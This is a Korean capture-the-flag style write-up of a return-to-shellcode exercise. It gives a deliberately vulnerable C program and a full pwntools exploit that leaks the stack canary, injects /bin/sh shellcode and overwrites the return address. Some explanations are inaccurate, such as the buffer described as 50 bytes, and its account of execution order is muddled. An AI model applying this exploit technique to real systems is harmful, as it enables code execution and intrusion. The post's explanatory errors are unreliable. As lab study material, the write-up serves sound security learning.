취약점 확인
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\\n", buf);
printf("Distance between buf and $rbp: %ld\\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\\n");
printf("Input: ");
fflush(stdout); //fflush -> 스트림을 비운다
read(0, buf, 0x100); //최소 20바이트는 들어가야 이상한 값이 안나옴
printf("Your input is '%s'\\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
- 버퍼의 크기는 50바이트지만 Input : 에서 입력받을 수 있는 크기는 0x100 두 번째는 크기에 제한없이 입력받을 수 있다.
- elf 파일을 실행해 보면 buf의 주소값과 buf 부터 rbp의 거리 값이 나온다.
- buf부터 rbp까지의 거리는 실제로 버퍼의 시작 주소에서 저장된 프레임 포인터(SFP, 이전 RBP)까지의 거리를 의미한다. 따라서, 이 거리는 버퍼 크기(지역 변수) + 카나리 값 크기까지의 합이다.
- 이 값이 96이라고 나오는데 이제 생각을 해보자
- 버퍼 [80] + 카나리 [8] = sfp[96] 이 안된다. → 더미 값으로 8바이트를 더 넣어줘야 한다.
- 그럼 더미 값은 88(0x58)이 되어야 한다.
- 그리고 우리는 카나리 값을 알아야 한다. 카나리 값을 알려면 버퍼에서 입력되고 넘친 값이 카나리 값의 맨 앞 널 값을 덮는다면 카나리 값을 출력시킬 수 있다.
- 그래서 더미 값은 89(0x59) 가 되어야 한다.
익스플로잇 코드 작성 순서
먼저 기본적인 연결과 이용할 수 있는 정보를 저장하자
from pwn import *
p = process('./r2s')
p.recvuntil('buf: ')
buf_addr = int(p.recvline()[:-1], 16)
print("버퍼의 주소 :", hex(buf_addr), "\\n")
이제 버퍼의 크기를 이용하여 카나리를 추출한다.
payload = b'A'*0x59
p.sendafter('Input: ', payload)
p.recvuntil(payload)
canary = u64(b'\\x00' + p.recv(7))
print("카나리값 : ", hex(canary), "\\n")
카나리값까지 출력했으면 이제 쉘코드를 작성한다.
sh = asm(shellcraft.sh()) #shellcraft.sh는 /bin/sh를 실행시키는 쉘을 불러온다
payload = b'' # 빈 페이로드로 시작
payload += sh # 쉘코드가 먼저 추가됨
payload += b'A' * (88 - len(sh)) # 버퍼의 나머지 공간을 채우기 위한 패딩
payload += p64(canary) # 카나리 값 추가
payload += b'A' * 8 # SFP (저장된 프레임 포인터) 패딩
payload += p64(buf_addr)
-----------------------------------------------------------------------------------
스택에 저장 순서
- sh 쉘코드가 먼저 페이로드에 있음
- 페이로드에 순서대로 들어가는데 여기서 들어간 값은 다음처럼 들어감
<aside> 💡
페이로드가 스택에 저장되는 순서
- 낮은 주소: 쉘코드 (sh)
- 중간 주소: 버퍼 패딩 (A * (88 - len(sh)))
- 중간 주소: 카나리 값 (p64(canary))
- 중간 주소: SFP 패딩 (A * 8)
- 높은 주소: 복귀 주소 (p64(buf_addr)) </aside>
- 이러면 sh가 가장 낮은 주소에 들어가고 점점 높아지는 주소임
실행 순서
- 위에서 말한 것 처럼 높은 주소에 것들이 먼저 실행되기 때문에최종종 buf_addr로 시작점이 생기고
- sfp(old rbp)
- canary
- 버퍼
- sh 로 실행된다.
최종 익스플로잇 코드
from pwn import *
p = process('./r2s', 22035)
e = ELF("./r2s")
context.arch = 'amd64'
p.recvuntil("buf: ")
buf_addr = int(p.recvline()[:-1], 16)
print("버퍼의 주소 :", hex(buf_addr), "\\n")
#버퍼 80 + 카나리 + x = 96 / x = 8
# 더미 88(0x58) + 1 (null값)
payload = b'A'*0x59 #null 제거해서 카나리값 출력
p.sendafter('Input: ', payload)
p.recvuntil(payload)
canary = u64(b'\\x00' + p.recv(7))
print("카나리값 : ", hex(canary), "\\n")
sh = asm(shellcraft.sh())
payload = b'' # 빈 페이로드로 시작
payload += sh # 쉘코드가 먼저 추가됨
payload += b'A' * (88 - len(sh)) # 버퍼의 나머지 공간을 채우기 위한 패딩
payload += p64(canary) # 카나리 값 추가
payload += b'A' * 8 # SFP (저장된 프레임 포인터) 패딩
payload += p64(buf_addr)
#gdb.attach(p)
p.sendlineafter("Input: ", payload)
p.interactive()
'드림핵 > 시스템해킹' 카테고리의 다른 글
드림핵 RTL 풀이 (노.복) (0) | 2024.09.08 |
---|